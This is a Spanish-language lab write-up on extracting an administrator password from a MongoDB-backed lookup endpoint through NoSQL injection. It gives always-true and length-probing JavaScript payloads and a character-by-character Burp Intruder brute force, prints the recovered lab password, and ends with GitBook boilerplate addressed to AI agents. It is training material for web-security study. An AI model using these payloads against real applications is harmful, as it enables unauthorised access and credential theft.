> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/nosql-injection/data-extraction-via-nosql-injection.md).

# Extracción de datos mediante inyección NoSQL

### Explotación de inyección NoSQL para extraer datos

**Contexto del laboratorio**

La funcionalidad de búsqueda de usuarios de este laboratorio se basa en una base de datos NoSQL **MongoDB**. / Ella es vulnerable a una \*\*inyección NoSQL\*\*.

\*\*Objetivo:\*\*/ Extraer la contraseña del usuario **administrator** y luego iniciar sesión en su cuenta.

Se proporciona una cuenta válida:

* **Identificador:** `wiener`
* **Contraseña:** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="/files/d65504582113bffd3afaa060a4b138bbd8e76862" alt=""><figcaption></figcaption></figure>

**Análisis de la operación**

Después de conectarse a `wiener:peter`, se envía la siguiente solicitud en segundo plano:

```bash
GET /user/lookup?user=
```

Esta consulta muestra información sobre los usuarios.

* Ejemplo:

```bash
GET /user/lookup?user=administrator
```

<figure><img src="/files/191453f9329cf1fbf2d1ea012590fa94c4303082" alt=""><figcaption></figcaption></figure>

A continuación, el frontend muestra:

```bash
Su nombre de usuario es: wiener (rol: usuario)
```

<figure><img src="/files/b3c4968f59567b6b25eb92daf24d2f6ba8546a86" alt=""><figcaption></figcaption></figure>

**Detección de vulnerabilidad NoSQL**

Al inyectar una sola comilla simple:

```bash
administrator'
```

El servidor devuelve un error:

```terraform
{
  "message": "Se produjo un error al obtener los detalles del usuario"
}
```

<figure><img src="/files/cca6f1a0757acb05a2f4125b644ebbf2230270f4" alt=""><figcaption></figcaption></figure>

Sin embargo, al añadir una condición siempre verdadera:

```bash
administrator' || true ||'
```

La solicitud es aceptada, lo que confirma la presencia de una \*\*inyección NoSQL\*\*.

**Extracción de la longitud de la contraseña**

El `this.password.length` se utiliza para determinar el tamaño de la contraseña.

Ejemplo de prueba:

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

Para que esto funcione correctamente, es necesario \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\*Aplicación al administrador\*\*

<figure><img src="/files/ab8ad6ea99b0f4dfd2cb99f7078e5281941c6165" alt=""><figcaption></figcaption></figure>

Repitiendo el método con el `administrator` usuario:

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

La condición se valida, indicando que la contraseña del administrador contiene **8 caracteres**.

<figure><img src="/files/4f5b362602777d505da090adcfb5ec74c758a4b2" alt=""><figcaption></figcaption></figure>

**Extraer carácter por carácter**

Luego filtrar por posición:

```bash
administrator' %26%26 this.password[0]=='X
```

Esta solicitud se envía a **Intruder**.

<figure><img src="/files/12eae2357093b11d0372bf892aeb78183be01b08" alt=""><figcaption></figcaption></figure>

### \*\*Ataque con Intruder\*\*

<figure><img src="/files/a78f38f5869c68534cafcba1be42f1b59aeef318" alt=""><figcaption></figcaption></figure>

Tipo de ataque : **Cluster Bomb**

<figure><img src="/files/057e1d143ed3648dc4b5353bb29aebd47d036f6b" alt=""><figcaption></figcaption></figure>

Parámetros:

* Posición del carácter: `0` a `7` valores

<figure><img src="/files/3830b2fb3ed09643e771ceed23007e04500acc49" alt=""><figcaption></figcaption></figure>

* Caracteres probados: alfabeto (diccionario de letras)

<figure><img src="/files/8d96e956bf4a901e4d6368a7436ed4d0368c8c37" alt=""><figcaption></figcaption></figure>

Analizando las respuestas válidas, se recupera la contraseña.

| número | letra |
| ------ | ----- |
| 0      | v     |
| 1      | x     |
| 2      | t     |
| 3      | r     |
| 4      | m     |
| 5      | e     |
| 6      | z     |
| 7      | s     |

<figure><img src="/files/6be34fe90860b68245dc8cf051fb8d49aa0f83ee" alt=""><figcaption></figcaption></figure>

**Resultado final**

**Contraseña del usuario administrador:**

`vxtrmezs`

<figure><img src="/files/bb6e9c31d0fb48a03bf7702f85867003a87e7fad" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
